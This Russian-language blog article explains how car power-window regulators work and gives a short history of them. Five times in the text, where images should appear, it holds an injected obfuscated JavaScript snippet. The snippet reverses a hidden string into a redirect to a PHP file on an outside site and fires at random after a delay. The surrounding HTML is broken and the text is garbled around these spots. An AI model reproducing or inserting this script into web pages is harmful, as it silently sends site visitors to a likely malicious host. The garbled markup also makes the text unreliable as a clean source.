Механизм стеклоподъёмника: как открываются окна в машине?
Разберемся как устроен механизм стеклоподъёмника и что у него внутри.
Электрическими стеклоподъёмниками в машинах уже никого не удивишь, но были времена, когда они были чем-то из разряда роскоши и прерогативой премиум сегмента.
Тем не менее, о том, как работает этот шедевр инженерной мысли, знают немногие. Как же устроен механизм стеклоподъёмника и что у него внутри?
Оглавление
Когда придумали стеклоподъёмники?
Небольшая историческая справка. Ещё в 30-х годах минувшего столетия автомобили, предназначенные для высшего партийного руководства СССР, уже могли похвастаться подобным приспособлением.
Конечно, экземпляры таких машин были единичными и о массовом применении автоматических стеклоподъёмников тогда не могло идти и речи.
Чуть ближе к обычным людям эти устройства сделали в 40-х годах американцы. Существовавший в те времена автобренд Packard, комплектовал модели для богатых электрогидравлическими механизмами поднимания и опускания окон.
Затем эту идею подхватили в Ford и других марках. Но всё это были ещё пробы, частично использовавшие силу электричества или не использовавшие её вовсе.
Применялись, к примеру, вакуумные помпы, гидравлические механизмы и прочие инженерные изыски.
Электрический стеклоподъёмник, к которому больше привык современный автовладелец, появился на арене мирового автопрома только в 1956 году, а первопроходцем стала модель Lincoln Continental Mark II.
{if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2017/07/Lincoln-Continental-Mark-II.jpg» alt=»Lincoln Continental Mark II 1956 года» width=»700″ height=»425″/></p><p>С этого момента и можно начать отчёт существования приспособления, ставшего в наши дни почти стандартным для авто любых ценовых категорий.</p><h2><span id= "Lincoln Continental Mark II 1956 года")
Как устроен механизм стеклоподъёмника.
Согласитесь, удобно сидя в машине, лёгким нажатием кнопки открыть или закрыть окно.
Иногда даже не задумываешься, а как же устроен этот хитрый механизм стеклоподъёмника.
Заглянем внутрь. Любой среднестатистический Электрический стеклоподъёмник состоит из элементов:
- приводной механизм;
- механизм подъёма;
- блок управления стеклоподъёмниками.
Приводной механизм
Представляет собой обыкновенный электромотор, приводящий в движение через хитрую систему червячной и зубчатой передач механизм подъёма. А вот с ним не всё так просто.
{if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2017/07/maysorubka.jpg» alt=»Механический стеклоподъемник» width=»700″ height=»386″/></p><h3><span id= "Механический стеклоподъемник")
Подъемный механизм
Дело в том, что инженеры придумали несколько вариантов подъёмных приспособлений, а если точнее:
- тросовый;
- рычажный;
- реечный.
Тросовый
В первом случае двигатель стеклоподъёмников воздействует на гибкий элемент – трос, цепь или ремень. Собственно, это понятно из самого названия разновидности привода.
{if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2017/07/trosovy-mehanizm.jpg» alt=»Тросовый механизм стеклоподъемника» width=»700″ height=»618″/></p><p>Гибкий элемент закреплён системой роликов внутри дверной панели авто, а к стеклу крепится при помощи пластины. Всё устроено так, чтобы трос мог двигаться поступательно вверх и вниз.</p><p>В принципе, этот вариант механизма наиболее простой и ремонтопригодный.</p><h4><span id= "Тросовый механизм стеклоподъемника")
Рычажный
Рычажные устройства пользуются популярностью у тех автопроизводителей, которые ценят компактность.
{if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2017/07/richagnyi-mehanizm.jpg» alt=»Рычажный механизм» width=»700″ height=»464″/></p><p>Главным действующим звеном механизма, как несложно догадаться, выступает рычаг (один или несколько), соединённый с двигателем стеклоподъёмников через шестерню.</p><p>Одним из недостатков рычажной системы является неравномерность скорости движения стекла.</p><h4><span id= "Рычажный механизм")
Рейка
Можно было бы подумать, что рейка каким-то образом двигается внутри двери, но это не так. На самом деле рейка неподвижна, а перемещается по ней сам электромотор, имеющий контакт со стеклом. Считается, что такие конструкции наиболее долговечны.
{if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2017/07/reechnyi-mehanizm.jpg» alt=»Реечный механизм стеклоподъемника» width=»600″ height=»600″/></p><p> </p><h3><span id= "Реечный механизм стеклоподъемника")
Блок управления стеклоподъёмниками
Отдельно хочется упомянуть о блоке управления. В самом простом случае это так называемое непосредственное управление, когда кнопка самостоятельно подключает моторчик к бортовой электросети, активируя его.
Меняя полярность подключения, меняется направление вращение двигателя – всё элементарно.
Более сложным вариантом выступает электронное управление. Электроника позволяет реализовать различные интересные «плюшки», к примеру, автоматическое открывание, реверсивное движение стекла и прочее.
Таким образом, уважаемые читатели, мы выяснили, как на самом деле устроен механизм стеклоподъёмника. Как видите, всё довольно просто, и теперь ещё одной тайной в автомобиле стало меньше.
Спасибо за внимание, друзья, и до новых встреч! Читайте интересную статью про tonirovka-stekol.html» target=»_blank» rel=»noopener noreferrer»>электронную тонировку стекол.
